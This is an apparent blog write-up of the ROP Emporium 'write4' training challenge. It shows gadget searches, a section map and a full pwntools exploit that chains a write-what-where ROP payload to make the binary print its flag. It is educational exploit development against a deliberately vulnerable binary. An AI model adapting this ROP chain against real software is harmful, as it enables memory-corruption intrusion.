Post

write4

write4

This is the fourth problem of ropemporium, and can be found here.

I started using pwndbg in this writeup. I normally use it but I just hadn’t installed it up to this point.

Exploration

Goal

As described on the site, the goal is to call print_file("flag.txt") by writing to some data location, then passing that value. It encourages writing a function to create a payload that writes a value into an address.

Gadgets (usefulGadgets and ropper)

There exists a gadget to move the value in R15 into the address in R14:

1
2
3
4
5
6
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:     mov    QWORD PTR [r14],r15
   0x000000000040062b <+3>:     ret
   0x000000000040062c <+4>:     nop    DWORD PTR [rax+0x0]
End of assembler dump.

There also exists another gadget elsewhere that allows us to write to both R14 and R15:

1
2
3
4
5
6
7
8
$ ropper --file write4 --search "pop r14"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r14

[INFO] File: write4
0x0000000000400690: pop r14; pop r15; ret;

With these two gadgets, we can write anywhere in the binary.

There’s also a classic to pass in to the first argument RDI:

1
2
3
4
5
6
7
8
$ ropper --file write4 --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: write4
0x0000000000400693: pop rdi; ret;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> info files
Symbols from "/home/ctf/ctf/ropemporium/write4/write4".
Local exec file:
        `/home/ctf/ctf/ropemporium/write4/write4', file type elf64-x86-64.
        Entry point: 0x400520
        0x0000000000400238 - 0x0000000000400254 is .interp
        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
        0x0000000000400298 - 0x00000000004002d0 is .gnu.hash
        0x00000000004002d0 - 0x00000000004003c0 is .dynsym
        0x00000000004003c0 - 0x000000000040043c is .dynstr
        0x000000000040043c - 0x0000000000400450 is .gnu.version
        0x0000000000400450 - 0x0000000000400470 is .gnu.version_r
        0x0000000000400470 - 0x00000000004004a0 is .rela.dyn
        0x00000000004004a0 - 0x00000000004004d0 is .rela.plt
        0x00000000004004d0 - 0x00000000004004e7 is .init
        0x00000000004004f0 - 0x0000000000400520 is .plt
        0x0000000000400520 - 0x00000000004006a2 is .text
        0x00000000004006a4 - 0x00000000004006ad is .fini
        0x00000000004006b0 - 0x00000000004006c0 is .rodata
        0x00000000004006c0 - 0x0000000000400704 is .eh_frame_hdr
        0x0000000000400708 - 0x0000000000400828 is .eh_frame
        0x0000000000600df0 - 0x0000000000600df8 is .init_array
        0x0000000000600df8 - 0x0000000000600e00 is .fini_array
        0x0000000000600e00 - 0x0000000000600ff0 is .dynamic
        0x0000000000600ff0 - 0x0000000000601000 is .got
        0x0000000000601000 - 0x0000000000601028 is .got.plt
        0x0000000000601028 - 0x0000000000601038 is .data
        0x0000000000601038 - 0x0000000000601040 is .bss

The key part is that we have 8 bytes in the .bss, a static, writeable region.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from pwn import *

exe = ELF("./write4")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r

Here, we’re using the gadgets we found earlier to write any value to any address. Note that we have a flat with an offset of 0, which we can chain into further payloads (see main).

1
2
3
4
5
6
7
8
9
10
11
def write(address, value):
    mov = 0x400628
    ins = 0x400690
    return flat({
        0: [
            ins,
            address,
            value,
            mov
        ]
    })
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def main():
    r = conn()

    # good luck pwning :)
    offset = 0x28
    bss = 0x601028
    rdi = 0x400693
    payload = flat({
        offset: [
            write(bss, b"flag.txt"),
            rdi,
            bss,
            exe.plt["print_file"]
        ]
    })
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/write4/write4'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/ctf/ctf/ropemporium/write4/write4': pid 65236
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
This post is licensed under CC BY 4.0 by the author.